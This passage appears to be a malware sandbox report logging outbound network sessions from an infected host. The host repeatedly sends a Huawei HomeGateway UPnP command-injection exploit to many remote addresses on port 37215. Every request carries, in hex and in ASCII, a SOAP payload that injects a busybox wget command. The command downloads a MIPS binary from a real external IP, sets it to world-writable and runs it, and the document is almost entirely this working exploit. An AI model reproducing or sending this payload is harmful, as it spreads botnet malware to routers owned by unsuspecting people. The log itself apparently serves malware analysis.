0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:43.772628069 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:51.196630001 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:06.044644117 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:36.508511066 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	55862	94.120.42.234	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:37.051436901 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	51980	154.194.151.184	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:41.681880951 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:45.820600986 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:51.964735985 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:03.996685982 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
